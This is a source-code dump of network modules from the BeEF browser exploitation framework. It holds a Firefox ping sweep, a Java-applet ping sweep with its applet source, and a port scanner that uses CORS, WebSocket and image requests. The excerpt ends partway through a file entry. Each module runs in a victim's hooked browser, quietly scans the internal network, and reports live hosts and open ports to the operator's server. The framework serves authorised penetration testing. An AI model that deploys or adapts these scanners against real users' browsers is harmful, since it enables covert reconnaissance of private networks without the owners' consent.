    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nbeef.execute(function() {\n\n    var ips = new Array();\n    var ipRange = \"<%= @ipRange %>\";\n    var timeout = \"<%= @timeout %>\";\n    var delay = parseInt(timeout) + parseInt(\"<%= @delay %>\");\n    var verbose=false; /* enable for debug */\n\n    // ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.\n    // Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]\n    // (only C class IPs are supported atm). Same code as internal_network_fingerprinting module\n    var ipBounds = ipRange.split('-');\n    var ipToTest;\n    if(ipBounds.length>1) {\n\t    var lowerBound = parseInt(ipBounds[0].split('.')[3]);\n        var upperBound = parseInt(ipBounds[1].split('.')[3]);\n\t\n        for(i=lowerBound;i<=upperBound;i++){\n        \tipToTest = ipBounds[0].split('.')[0]+\".\"+ipBounds[0].split('.')[1]+\".\"+ipBounds[0].split('.')[2]+\".\"+i\n           \tips.push(ipToTest);\n        }\n    } else {\n\t    ipToTest = ipBounds[0]\n\t    ips.push(ipToTest);\n    }\n\n    if(ips.length==1) verbose=true;\n\n    \n    function do_scan(host, timeout) {\n\t    var status=false;\n\t    var ping=\"\";\n\n\t    try {\n\t\t    status = java.net.InetAddress.getByName(host).isReachable(timeout);\n\t    } catch(e) { /*handle exception...? */ }\n\n\t    if (status) {\n\t\t    ping = host + \" is alive!\";\n\t    } else if(verbose) {\n\t\t\t    ping = host + \" is not alive\";\n\t\t}\n\t    return ping;\n    }\n\n\n    // call do_scan for each ip\n    // use of setInterval trick to avoid slow script warnings\n    var i=0;\n    if(ips.length>1) {\n\t    var int_id = setInterval( function() { \n\t\tvar host = do_scan(ips[i++],timeout);\n\t\tif(host!=\"\") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());\n\t\tif(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }\n    \t}, delay);\n    } else {\n    \tvar host = do_scan(ips[i],timeout);\n\t    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);\n    }\n\n});\n\n"
  },
  {
    "path": "modules/network/ping_sweep_ff/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ping_sweep_ff:\n            enable: true\n            category: \"Network\"\n            name: \"Ping Sweep (FF)\"\n            description: \"Discover active hosts in the internal network of the hooked browser. It works by calling a Java method from JavaScript and does not require user interaction.<br> For browsers other than Firefox, use the 'Ping Sweep (Java)' module.\"\n            authors: [\"jgaliana\"]\n            target:\n                working: [\"FF\"]\n                not_working: [\"C\", \"S\", \"O\", \"IE\"]\n"
  },
  {
    "path": "modules/network/ping_sweep_ff/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#\n# Ping Sweep Module - jgaliana\n# Discover active hosts in the internal network of the hooked browser.\n# It works calling a Java method from JavaScript and do not require user interaction.\n\nclass Ping_sweep_ff < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class or IP)', 'value' => '192.168.0.1-192.168.0.254' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '2000' },\n      { 'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '100' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['host'] = @datastore['host'] unless @datastore['host'].nil?\n    content['fail'] = 'No active hosts have been discovered.' if content.empty?\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /host=([\\d.]+) is alive/\n\n    # save the network host\n    ip = Regexp.last_match(1)\n    session_id = @datastore['beefhook']\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser has network interface #{ip}\")\n      BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/ping_sweep_java/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nbeef.execute(function() {\n\n    var ipRange = \"<%= @ipRange %>\";\n    var timeout = \"<%= @timeout %>\";\n    var appletTimeout = 30;\n    var output = \"\";\n    var hostNumber = 0;\n    var internal_counter = 0;\n    var firstMsgSent = false;\n\n    beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+\"://\"+beef.net.host+\":\"+beef.net.port+\"/\", null, [{'ipRange':ipRange, 'timeout':timeout}]);\n\n\t\tfunction waituntilok() {\n\t\t\ttry {\n\t\t\t    hostNumber = document.pingSweep.getHostsNumber();\n                if(hostNumber != null && hostNumber > 0){\n                    if(!firstMsgSent){\n                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Applet attached.<br>Hosts to check: ' + hostNumber + '<br>Required time (s): ~' + (timeout * hostNumber)/1000);\n                        firstMsgSent = true;\n                    }\n                    output = document.pingSweep.getAliveHosts();\n                    clearTimeout(int_timeout);\n                    clearTimeout(ext_timeout);\n\t\t\t\t    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\\n/g,\"<br>\"), beef.are.status_success());\n\t\t\t\t    beef.dom.detachApplet('pingSweep');\n\t\t\t\t    return;\n                }else{\n                     beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());\n                     return;\n                }\n\t\t\t} catch (e) {\n\t\t\t\tinternal_counter++;\n\t\t\t\tif (internal_counter > appletTimeout) {\n\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Timeout after '+appletTimeout+' seconds');\n\t\t\t\t\tbeef.dom.detachApplet('pingSweep');\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tint_timeout = setTimeout(function() {waituntilok()},1000);\n\t\t\t}\n\t\t}\n\n\t\text_timeout = setTimeout(function() {waituntilok()},5000);\n\n});\n\n"
  },
  {
    "path": "modules/network/ping_sweep_java/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ping_sweep_java:\n            enable: false\n            category: \"Network\"\n            name: \"Ping Sweep (Java)\"\n            description: \"Discover active hosts in the internal network of the hooked browser. Same logic of the Ping Sweep module, but using an unsigned Java applet to work in browsers other than Firefox.<br> For Firefox, use the normal PingSweep module.\"\n            authors: [\"antisnatchor\"]\n            target:\n                working: [\"S\", \"O\", \"IE\"]\n                user_notify: [\"C\"]\n                not_working: [\"FF\"]\n"
  },
  {
    "path": "modules/network/ping_sweep_java/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#\n# Ping Sweep Module - jgaliana\n# Discover active hosts in the internal network of the hooked browser.\n# It works calling a Java method from JavaScript and do not require user interaction.\n\nclass Ping_sweep_java < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/ping_sweep_java/pingSweep.class', '/pingSweep', 'class')\n  end\n\n  def self.options\n    [\n      { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class or IP)', 'value' => '192.168.0.1-192.168.0.254' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '2000' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['ps'] = @datastore['ps'] unless @datastore['ps'].nil?\n    content['fail'] = 'No active hosts have been discovered.' if content.empty?\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/pingSweep.class')\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/network/ping_sweep_java/pingSweep.java",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nimport java.applet.Applet;\nimport java.io.IOException;\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/*\n * Coded by Michele \"antisnatchor\" Orru' for the BeEF project.\n * Given a single IP or IP range, check without hosts are alive (ping sweep).\n */\npublic class pingSweep extends Applet {\n\n    public static String ipRange = \"\";\n    public static int timeout = 0;\n    public static List<InetAddress> hostList;\n\n    public pingSweep() {\n        super();\n        return;\n    }\n\n    public void init(){\n       ipRange = getParameter(\"ipRange\");\n       timeout = Integer.parseInt(getParameter(\"timeout\"));\n    }\n\n    //called from JS\n    public static int getHostsNumber(){\n        try{\n            hostList = parseIpRange(ipRange);\n        }catch(UnknownHostException e){ //do something\n\n        }\n        return hostList.size();\n    }\n\n    //called from JS\n    public static String getAliveHosts(){\n        String result = \"\";\n        try{\n           result = checkHosts(hostList);\n        }catch(IOException io){\n           //do something\n        }\n        return result;\n    }\n\n    private static List<InetAddress> parseIpRange(String ipRange) throws UnknownHostException {\n\n        List<InetAddress> addresses = new ArrayList<InetAddress>();\n        if (ipRange.indexOf(\"-\") != -1) { //multiple IPs: ipRange = 172.31.229.240-172.31.229.250\n            String[] ips = ipRange.split(\"-\");\n            String[] octets = ips[0].split(\"\\\\.\");\n            int lowerBound = Integer.parseInt(octets[3]);\n            int upperBound = Integer.parseInt(ips[1].split(\"\\\\.\")[3]);\n\n            for (int i = lowerBound; i <= upperBound; i++) {\n                String ip = octets[0] + \".\" + octets[1] + \".\" + octets[2] + \".\" + i;\n                addresses.add(InetAddress.getByName(ip));\n            }\n        } else { //single ip: ipRange = 172.31.229.240\n            addresses.add(InetAddress.getByName(ipRange));\n        }\n        return addresses;\n    }\n\n    private static String checkHosts(List<InetAddress> inetAddresses) throws IOException {\n        String alive = \"\";\n        for (InetAddress inetAddress : inetAddresses) {\n            if (inetAddress.isReachable(timeout)) {\n                alive += inetAddress.toString() + \"\\n\";\n            }\n        }\n        return alive;\n    }\n}\n"
  },
  {
    "path": "modules/network/port_scanner/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nbeef.execute(function() {\n\n\tvar blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101, 102, 103, 104, 109, 110, 111, 113, 115, 117, 119, 123, 135, 139, 143, 179, 389, 465, 512, 513, 514, 515, 526, 530, 531, 532, 540, 556, 563, 587, 601, 636, 993, 995, 2049, 3659, 4045, 6000, 6665, 6666, 6667, 6668, 6669, 65535 ];\n\t\n\tvar default_ports = [ 1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ];\n\tvar default_services = {'1':'tcpmux', '5':'rje', '7':'echo', '9':'msn', '15':'netstat', '20':'ftp-data', '21':'ftp', '22':'ssh', '23':'telnet', '25':'smtp', '26':'rsftp', '29':'msgicp', '33':'dsp', '37':'time', '42':'nameserver', '43':'whois', '53':'domain', '67':'dhcps', '68':'dhcpc', '69':'tftp', '70':'gopher', '76':'deos', '79':'finger', '80':'http', '81':'hosts2-ns', '88':'kerberos-sec', '90':'dnsix', '98':'linuxconf', '101':'hostname', '106':'pop3pw', '109':'pop2', '110':'pop3', '111':'rpcbind', '113':'ident', '114':'audio news', '115':'sftp', '118':'sqlserv', '119':'nntp', '123':'ntp', '129':'pwdgen', '132':'cisco-sys', '133':'statsrv', '135':'msrpc', '136':'profile', '137':'netbios-ns', '138':'netbios-dgm', '139':'netbios-ssn', '143':'imap', '144':'news', '156':'sqlserv', '158':'pcmail-srv', '161':'snmp', '162':'snmp trap', '168':'rsvd', '174':'mailq', '177':'xdmcp', '194':'irc', '197':'dls', '199':'smux', '209':'tam', '213':'ipx', '217':'dbase', '219':'uarps', '220':'imap3', '223':'cdc', '264':'bgmp', '315':'dpsi', '316':'decauth', '346':'zserv', '353':'ndsauth', '389':'ldap', '413':'smsp', '414':'infoseek', '415':'bnet', '416':'silver platter', '440':'sgcp', '443':'https', '444':'snpp', '445':'microsoft-ds', '453':'creativeserver', '454':'content server', '456':'macon', '457':'scohelp', '458':'appleqtc', '462':'datasurfsrvsec', '464':'kpasswd5', '465':'smtps', '466':'digital-vrc', '480':'loadsrv', '486':'sstats', '497':'retrospect', '500':'isakmp', '501':'stmf', '515':'printer (spooler lpd)', '516':'videotex', '518':'ntalk', '522':'ulp', '523':'ibm-db2', '524':'ncp', '525':'timed', '526':'tempo', '533':'netwall', '535':'iiop', '538':'gdomap', '540':'uucp', '541':'uucp-rlogin', '542':'commerce', '543':'klogin', '544':'kshell', '545':'ekshell', '546':'dhcpconf', '547':'dhcpserv', '548':'afp', '556':'remotefs', '557':'openvms-sysipc', '560':'rmonitor', '561':'monitor', '563':'snews', '564':'9pfs', '587':'submission', '625':'apple-xsrvr-admin', '626':'apple-imap-admin', '631':'ipp', '636':'ldapssl', '637':'lanserver', '660':'mac-srvr-admin', '664':'secure-aux-bus', '666':'doom', '683':'corba-iiop', '740':'netcp', '741':'netgw', '742':'netrcs', '744':'flexlm', '747':'fujitsu-dev', '748':'ris-cm', '749':'kerberos-adm', '750':'kerberos', '751':'kerberos_master', '752':'qrh', '753':'rrh', '754':'krb_prop', '758':'nlogin', '760':'krbupdate', '761':'kpasswd', '762':'quotad', '763':'cycleserv', '764':'omserv', '765':'webster', '767':'phonebook', '771':'rtip', '773':'submit', '774':'rpasswd', '775':'entomb', '776':'wpages', '780':'wpgs', '781':'hp-collector', '782':'hp-managed-node', '783':'spam assassin', '786':'concert', '787':'qsc', '799':'controlit', '800':'mdbs_daemon', '801':'device', '808':'ccproxy-http', '871':'supfilesrv', '873':'rsync', '888':'access builder', '898':'sun-manageconsole', '901':'samba-swat', '953':'rndc', '989':'ftps-data', '990':'ftps', '992':'telnets', '993':'imaps', '994':'ircs', '995':'pop3s', '996':'xtreelic', '997':'maitrd', '998':'busboy', '999':'garcon', '1000':'cadlock', '1002':'windows-icfw', '1008':'ufsd', '1023':'netvenuechat', '1024':'kdm', '1025':'NFS-or-IIS', '1080':'socks', '1433':'mssql', '1434':'ms-sql-m', '1521 ':'oracle', '1720':'h323q931', '1723':'pptp', '3306':'mysql', '3389':'ms-wbt-server', '4489':'radmin', '5000':'upnp', '5060':'sip', '5432':'postgres', '5900':'vnc', '6000':'x11', '6001':'X11:1', '6446':'mysql-proxy', '8050':'coldfusion', '8080':'http-proxy', '8443':'tomcat', '8888':'sun-answerbook', '9100':'HP JetDirect card', '10000':'snet-sensor-mgmt', '10088':'zend server', '11371':'hkp'};\n\n\t// Top-ports according to Fyodor's NMAP-related research (nmap-services / open-frequency).\n\t//\t\tdefault_services had been extended to contain below ports service names.\n\t// $ cat /usr/share/nmap/nmap-services | grep -vE \"^#.+\" | sort -r -k3 | grep \"/tcp\" | sed 's:/tcp::' | grep -v unknown | awk '{print $1\" - \"$2}'\n\tvar top_ports = [80, 23, 443, 21, 22, 25, 3389, 110, 445, 139, 143, 53, 135, 3306, 8080, 1723, 111, 995, 993, 5900, 1025, 587, 8888, 199, 1720, 465, 548, 113, 81, 6001, 10000, 5060, 515, 5000, 9100];\n\t\n\tvar host = '<%= @ipHost %>';\n\t// TODO: Adjust times for each browser\n\tvar closetimeout = '<%= @closetimeout %>';\n\tvar opentimeout = '<%= @opentimeout %>';\n\tvar delay = '<%= @delay %>';\n\tvar ports = '<%= @ports %>';\n    \tvar debug = '<%= @debug %>';\n\tvar protocol = 'ftp://';\n\n\tvar start_time_ws = undefined;\n\tvar start_time_cors = undefined;\n\tvar start_time_http = undefined;\n\tvar start_scan = undefined;\n\tvar intID_http = undefined;\n\tvar intID_ws = undefined;\n\tvar intID_cors = undefined;\n\n\tvar port = \"\";\n\tvar ports_list= [];\n\n\tvar timeval = parseInt(opentimeout) + parseInt(delay*2);\n\tvar port_status_http = 0;\n\tvar port_status_ws = 0;\n\tvar port_status_cors = 0;\n\t// 0 : unknown\n\t// 1 : closed\n\t// 2 : open\n\t// 3 : timeout\n\t// 4 : blocked\n\tvar process_port_http = false;\n\tvar process_port_ws = false;\n\tvar process_port_cors = false;\n\tvar count = 0;\n\n\tvar img_scan = undefined;\n\tvar ws_scan = undefined;\n\tvar cs_scan = undefined;\n\tvar s = undefined;\n\n\tvar debug_value = false; // It will show what status is the port for each method\n    \tif (debug == 'true')\n\t{\n       \t\tdebug_value = true;\n    \t}\n\n\tfunction check_blocked(port_to_check)\n\t{\n\t\tvar res = false;\n\n\t\tfor (var i=0; i<blocked_ports.length; i++)\n\t\t{\n\t\t\tif (port_to_check == blocked_ports[i])\n\t\t\t{\n\t\t\t\tres = true;\n\t\t\t}\n\t\t}\n\t\n\t\treturn res;\n\t}\n\n\tfunction prepare_ports()\n\t{\n\t\tif (ports == 'default') // Default ports to scan\n\t\t{\n\t\t\t// nmap most used ports to scan + some new ports\n\t\t\tfor ( var i=0; i<default_ports.length; i++)\n\t\t\t{\n\t\t\t\tports_list[i] = default_ports[i];\n\t\t\t}\n\n\t\t} else if (ports == 'top')\t// Top-ports according to Fyodor's research\n\t\t{\n\t\t\t// nmap most used ports to scan + some new ports\n\t\t\tfor ( var i=0; i<top_ports.length; i++)\n\t\t\t{\n\t\t\t\tports_list[i] = top_ports[i];\n\t\t\t}\n\n\t\t} else \n\t\t{ // Custom ports provided to scan\n\t\t\tif (ports.search(\",\") > 0) ports_list = ports.split(\",\"); // list of ports\n\t\t\telse if (ports.search(\"-\") > 0) \n\t\t\t{\n\t\t\t\tvar firstport = parseInt(ports.split(\"-\")[0]); // range of ports, start\n\t\t\t\tvar lastport = parseInt(ports.split(\"-\")[1]); // range of ports, end\n\t\t\t\tvar a = 0;\n\t\t\t\tfor (var i = firstport; i<=lastport; i++)\n\t\t\t\t{\n\t\t\t\t\tports_list[a] = firstport + a;\n\t\t\t\t\ta++;\n\t\t\t\t}\n\t\t\t} else ports_list = ports.split(); // single port\n\t\t}\n\t}\n\n\tfunction cors_scan(hostname, port_)\n\t{\n\t\tif (check_blocked(parseInt(port_)))\n\t\t{\n\t\t\tprocess_port_cors = true;\n\t\t\tport_status_cors = 4; // blocked\n\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is BLOCKED');}\n\t\t\treturn;\n\t\t}\n\n\t\t//var interval = (new Date).getTime() - start_time_cors;\n\n\t\tcs_scan = new XMLHttpRequest();\n\n            \tcs_scan.open('GET', \"http://\" + hostname + \":\" + port_, true);\n            \tcs_scan.send(null);\n\n\t\tintID_cors = setInterval(\n\t\tfunction ()\n\t\t{\n\t\t\tvar interval = (new Date).getTime() - start_time_cors;\n\t\t\tif (process_port_cors) \n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif (cs_scan.readyState === 1) // CONNECTING\n\t\t\t{\n\t\t\t}\n\n\t\t\tif (cs_scan.readyState === 2) // OPEN\n\t\t\t{\n\t\t\t}\n\n\t\t\tif (cs_scan.readyState === 3) // CLOSING\n\t\t\t{\n\t\t\t}\n\t\n\t\t\tif (cs_scan.readyState === 4) // CLOSE\n\t\t\t{\n\t\t\t\tclearInterval(intID_cors);\n\t\t\t\tprocess_port_cors = true;\n\t\t\t\tif (interval < closetimeout)\n\t\t\t\t{\n\t\t\t\t\tport_status_cors =  1; // closed\n\t\t\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is CLOSED');}\n\t\t\t\t} else \n\t\t\t\t{\n\t\t\t\t\tport_status_cors = 2; // open\n\t\t\t\t\tvar known_service = \"\";\n\t\t\t\t\tif (port_ in default_services) \n\t\t\t\t\t{\n\t\t\t\t\t\tknown_service = \"(\" + default_services[port_] + \")\";\n\t\t\t\t\t}\n\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (interval >= opentimeout)\n\t\t\t{\n\t\t\t\tclearInterval(intID_cors);\n\t\t\t\tprocess_port_cors = true;\n\t\t\t\tport_status_cors = 3; // timeout\n\t\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is TIMEOUT');}\n\t\t\t}\t\n\t\t\treturn;\t\n\t\t}\n\t\t, 1);\n\t}\n\n\tfunction websocket_scan(hostname, port_)\n\t{\n\t\tif (check_blocked(parseInt(port_)))\n\t\t{\n\t\t\tprocess_port_ws = true;\n\t\t\tport_status_ws = 4; // blocked\n\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is BLOCKED');}\n\t\t\treturn;\n\t\t}\n\n\t\tif (\"WebSocket\" in window)\n\t\t{\n\t\t\tws_scan = new WebSocket(\"ws://\" + hostname + \":\" + port_);\n\t\t}\n\t\tif (\"MozWebSocket\" in window)\n\t\t{\n\t\t\tws_scan = new MozWebSocket(\"ws://\" + hostname + \":\" + port_);\n\t\t}\n\n\t\t//var interval = (new Date).getTime() - start_time_ws;\n\n\t\tintID_ws = setInterval(\n\t\tfunction ()\n\t\t{\n\t\t\tvar interval = (new Date).getTime() - start_time_ws;\n\n\t\t\tif (process_port_ws) \n\t\t\t{\n\t\t\t\tclearInterval(intID_ws);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif (ws_scan.readyState === 0) // CONNECTING\n\t\t\t{\n\t\t\t}\n\n\t\t\tif (ws_scan.readyState === 1) // OPEN\n\t\t\t{\n\t\t\t\t// TODO: Detect WebSockets server running\n\t\t\t}\n\n\t\t\tif (ws_scan.readyState === 2) // CLOSING\n\t\t\t{\n\t\t\t}\n\t\n\t\t\tif (ws_scan.readyState === 3) // CLOSE\n\t\t\t{\n\t\t\t\tclearInterval(intID_ws);\n\t\t\t\tprocess_port_ws = true;\n\t\t\t\tif (interval < closetimeout)\n\t\t\t\t{\n\t\t\t\t\tport_status_ws =  1; // closed\n\t\t\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is CLOSED');}\n\t\t\t\t} else \n\t\t\t\t{\n\t\t\t\t\tport_status_ws = 2; // open\n\t\t\t\t\tvar known_service = \"\";\n\t\t\t\t\tif (port_ in default_services) \n\t\t\t\t\t{\n\t\t\t\t\t\tknown_service = \"(\" + default_services[port_] + \")\";\n\t\t\t\t\t}\n\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is OPEN ' + known_service);\n\t\t\t\t}\n\t\t\t\tws_scan.close();\n\t\t\t}\n\n\t\t\tif (interval >= opentimeout)\n\t\t\t{\n\t\t\t\tclearInterval(intID_ws);\n\t\t\t\tprocess_port_ws = true;\n\t\t\t\tport_status_ws = 3; // timeout\n\t\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is TIMEOUT');}\n\t\t\t\tws_scan.close();\t\t\n\t\t\t}\t\n\t\t\treturn;\t\n\t\t}\n\t\t, 1);\n\t}\n\n\tfunction http_scan(protocol_, hostname, port_)\n\t{\n\t\t//process_port_http = false;\n\n\t\timg_scan = new Image();\n\n\t\timg_scan.onerror = function(evt) \n\t\t{\n\t\t\tvar interval = (new Date).getTime() - start_time_http;\n\t\t\n\t\t\tif (interval < closetimeout)\n\t\t\t{\n\t\t\t\tif (process_port_http == false)\n\t\t\t\t{\n\t\t\t\t\tport_status_http = 1; // closed\n\t\t\t\t\tif (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=HTTP: Port ' + port_ + ' is CLOSED');}\n\t\t\t\t\tclearInterval(intID_http);\n\t\t\t\t}\n\t\t\t\tprocess_port_http = true;\n\t\t\t}\n\t\t};\n\n\t\timg_scan.onload = img_scan.onerror;\n\n\t\timg_scan.src = protocol_ + hostname + \":\" + port_;\n\t\t\n\t\tintID_http = setInterval(\n\t\tfunction ()\n\t\t{\n\t\t\tvar interval = (new Date).getTime() - start_time_http;\n\t\n\t\t\tif (interval >= opentimeout)\n\t\t\t{\n\t\t\t\tif (!img_scan) return;\n\t\t\t\t//img_scan.src = \"\";\n\t\t\t\timg_scan = undefined;\n\n\t\t\t\tif (process_port_http == false)\n\t\t\t\t{\n\t\t\t\t\tport_status_http = 2; // open\n\t\t\t\t\tprocess_port_http = true;\n\t\t\t\t}\n\t\t\t\tclearInterval(intID_http);\n\t\t\t\tvar known_service = \"\";\n\t\t\t\tif (port_ in default_services) \n\t\t\t\t{\n\t\t\t\t\tknown_service = \"(\" + default_services[port_] + \")\";\n\t\t\t\t}\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=HTTP: Port ' + port_ + ' is OPEN ' + known_service);\n\t\t\t}\n\t\t}\n\t\t, 1);\n\t}\n\n\tprepare_ports();\n\n\tif (ports_list.length < 1)\n\t{\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scan aborted, no valid ports provided to scan');\n\t\treturn;\n\t} else \n\t{\n\t\tdesc = '';\n\t\tif (ports == 'default' || ports == 'top') {\n\t\t\tdesc = ports + ' ports on ';\n\t\t} \n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning ' + desc + host+' [ports: ' + ports_list + ']');\n\t}\n\t\n\tcount = 0;\n\tstart_scan = (new Date).getTime();\n\n\ts =  setInterval(\n\t\n\tfunction() \n\t{\n\t\tif(count < ports_list.length)\n\t\t{\n\t\t\tstart_time_cors = (new Date).getTime();\n\t\t\tcors_scan(host, ports_list[count]);\n\t\t\tstart_time_ws = (new Date).getTime();\n\t\t\twebsocket_scan(host, ports_list[count]);\n\t\t\tstart_time_http = (new Date).getTime();\n\t\t\thttp_scan(protocol, host, ports_list[count]);\n    \t\t}\n\t\t\n    \t\tcount++;\n\t\tport_status_http = 0; // unknown\n\t\tprocess_port_http = false;\n\t\tport_status_ws = 0; // unknown\n\t\tprocess_port_ws = false;\n\t\tport_status_cors = 0; // unknown\n\t\tprocess_port_cors = false;\n\n    \t\tif(count >= ports_list.length) \n\t\t{ \n\t\t\tclearInterval(s);\n\t\t\tvar interval = (new Date).getTime() - start_scan;\n\t\t\tsetTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Scan Finished in ' + interval + ' ms'); }, opentimeout*2);\n\t\t}\n\t}\n\t,timeval);\n\n});\n\n"
  },
  {
    "path": "modules/network/port_scanner/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        port_scanner:\n            enable: true\n            category: \"Network\"\n            name: \"Port Scanner (Multiple Methods)\"\n            description: \"Scan ports in a given hostname, using WebSockets, CORS and img tags. It uses the three methods to avoid blocked ports or Same Origin Policy.<br/><br/>Note: The user may see authentication popups in the event any of the target ports are web servers using HTTP authentication.\"\n            authors: [\"javier.marcos\"]\n            target:\n                user_notify: [\"FF\", \"C\"]\n                not_working: [\"S\", \"O\", \"IE\"]\n"
  },
  {
    "path": "modules/network/port_scanner/module.rb",
